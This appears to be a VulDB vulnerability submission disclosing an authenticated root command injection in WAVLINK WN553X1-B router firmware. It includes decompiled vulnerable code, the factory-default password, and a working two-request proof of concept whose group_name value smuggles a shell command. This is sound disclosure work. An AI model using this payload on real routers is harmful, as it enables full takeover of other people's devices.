| Title | Wavlink Router Firmware V260403_2.0.0 Command Injection |
|---|
| Description | An authenticated command injection vulnerability (CWE-78) was identified in the WAVLINK WN553X1-B router (Model WN553X3B), firmware version V260403_2.0.0 (OpenWrt 21.02, aarch64 / MediaTek MT7981).
The web management interface consists of a lighttpd front-end (ports 80/443) that proxies *.csp requests to a back-end service, /bin/ioos, listening on 127.0.0.1:81 and running as root. The ioos dispatcher routes requests based on the "opt" parameter. The handler for opt=wireguard_cli_group (function sub_41A748) takes the user-controlled "group_id" / "group_name" request parameters and, in the action=add branch, passes them to snprintf without any input validation or sanitization:
snprintf(buf, 0x100, "uci set wgclient.@groups[-1].group_id='%s'", group_id);
system(buf); // 0x41AB0C
snprintf(buf, 0x100, "uci set wgclient.@groups[-1].group_name='%s'", group_name);
system(buf); // 0x41AB30
Because the user input is embedded inside single quotes, a group_name value such as x';COMMAND;' breaks out of the quoted string and injects an arbitrary OS command, which executes with root privileges and leads to full compromise of the device.
Exploitation requires a valid session token, obtained via the opt=login endpoint by submitting usrid=SHA256(password). The factory-default web password is "admin" (hardcoded in /etc/config/winstar), so on devices where the password was never changed, the authentication requirement is effectively absent. Note: the ioos HTTP parser only processes parameters placed in the URL query string of POST requests, and the token is passed as the "token" URL parameter (bound to the client IP, 300-second validity).
Proof of concept:
Step 1 - login:
POST /protocol.csp?fname=system&opt=login&function=set&usrid=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
Response: { ..., "token": "<32 hex chars>", "error": 0 }
Step 2 - command injection (writes id output to /tmp/pwn):
POST /protocol.csp?fname=system&opt=wireguard_cli_group&function=set&action=add&group_id=a&group_name=x%27%3B/usr/bin/id%3E/tmp/pwn%3B%27&token=<TOKEN>
Response: { "opt": "wireguard_cli_group", "fname": "system", "function": "set", "success": 1, "error": 0 }
The file /tmp/pwn on the device then contains: uid=0(root) gid=0(root) groups=0(root)
The vulnerability was dynamically verified against the firmware emulated with qemu-aarch64 user-mode emulation; arbitrary commands were executed with root privileges. The same unsanitized pattern exists in multiple sibling handlers in the same binary (e.g. openvpn_cli_group, ovpn_file, wg_file).
|
|---|
| User | shuyi (UID 100431) |
|---|
| Submission | 08/08/2026 12:30 (3 months ago) |
|---|
| Moderation | 10/31/2026 21:14 (3 months later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 429599 [WAVLINK WN553X1-B V260403_2.0.0 WireGuard CLI Group /bin/ioos sub_41A748 group_id/group_name os command injection] |
|---|
| Points | 20 |
|---|